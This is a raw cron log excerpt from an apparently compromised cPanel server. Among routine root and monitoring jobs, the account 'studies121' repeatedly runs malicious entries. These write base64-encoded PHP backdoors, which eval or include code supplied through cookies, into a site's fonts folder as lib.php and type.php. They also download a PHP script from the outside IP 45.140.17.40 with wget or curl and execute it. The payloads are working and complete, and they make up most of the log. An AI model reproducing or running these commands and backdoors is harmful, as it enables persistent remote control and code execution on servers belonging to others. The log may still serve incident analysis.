Sep  8 04:24:01 ip-184-168-122-23 CROND[8880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:24:01 ip-184-168-122-23 CROND[8879]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:24:01 ip-184-168-122-23 CROND[8878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:24:01 ip-184-168-122-23 CROND[8881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:25:01 ip-184-168-122-23 CROND[9065]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:25:01 ip-184-168-122-23 CROND[9070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:25:01 ip-184-168-122-23 CROND[9066]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 04:25:01 ip-184-168-122-23 CROND[9069]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 04:25:01 ip-184-168-122-23 CROND[9068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:25:01 ip-184-168-122-23 CROND[9073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:25:01 ip-184-168-122-23 CROND[9067]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  8 04:26:01 ip-184-168-122-23 CROND[9187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:26:01 ip-184-168-122-23 CROND[9189]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:26:01 ip-184-168-122-23 CROND[9190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:26:01 ip-184-168-122-23 CROND[9194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:26:01 ip-184-168-122-23 CROND[9191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:27:01 ip-184-168-122-23 CROND[9308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:27:01 ip-184-168-122-23 CROND[9309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:27:01 ip-184-168-122-23 CROND[9310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:27:01 ip-184-168-122-23 CROND[9311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:28:01 ip-184-168-122-23 CROND[9407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:28:01 ip-184-168-122-23 CROND[9409]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:28:01 ip-184-168-122-23 CROND[9410]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:28:01 ip-184-168-122-23 CROND[9413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:28:01 ip-184-168-122-23 CROND[9412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:29:01 ip-184-168-122-23 CROND[9545]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:29:01 ip-184-168-122-23 CROND[9546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:29:01 ip-184-168-122-23 CROND[9547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:29:01 ip-184-168-122-23 CROND[9548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:30:01 ip-184-168-122-23 CROND[9662]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 04:30:01 ip-184-168-122-23 CROND[9665]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 04:30:01 ip-184-168-122-23 CROND[9667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:30:01 ip-184-168-122-23 CROND[9668]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:30:01 ip-184-168-122-23 CROND[9672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:30:01 ip-184-168-122-23 CROND[9671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:30:01 ip-184-168-122-23 CROND[9673]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep  8 04:30:01 ip-184-168-122-23 CROND[9669]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  8 04:30:01 ip-184-168-122-23 CROND[9670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:30:01 ip-184-168-122-23 CROND[9674]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 04:31:01 ip-184-168-122-23 CROND[9788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:31:01 ip-184-168-122-23 CROND[9789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:31:01 ip-184-168-122-23 CROND[9790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:31:01 ip-184-168-122-23 CROND[9792]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 04:31:01 ip-184-168-122-23 CROND[9791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:32:01 ip-184-168-122-23 CROND[9897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:32:01 ip-184-168-122-23 CROND[9899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:32:01 ip-184-168-122-23 CROND[9900]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:32:01 ip-184-168-122-23 CROND[9901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:32:01 ip-184-168-122-23 CROND[9902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:33:01 ip-184-168-122-23 CROND[10020]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:33:01 ip-184-168-122-23 CROND[10022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:33:01 ip-184-168-122-23 CROND[10021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:33:01 ip-184-168-122-23 CROND[10023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:34:01 ip-184-168-122-23 CROND[10151]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:34:01 ip-184-168-122-23 CROND[10153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:34:01 ip-184-168-122-23 CROND[10154]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:34:01 ip-184-168-122-23 CROND[10155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:34:01 ip-184-168-122-23 CROND[10156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:35:01 ip-184-168-122-23 CROND[10355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:35:01 ip-184-168-122-23 CROND[10356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:35:01 ip-184-168-122-23 CROND[10360]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 04:35:01 ip-184-168-122-23 CROND[10358]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 04:35:01 ip-184-168-122-23 CROND[10363]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 04:35:01 ip-184-168-122-23 CROND[10362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:35:01 ip-184-168-122-23 CROND[10359]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 04:35:01 ip-184-168-122-23 CROND[10361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
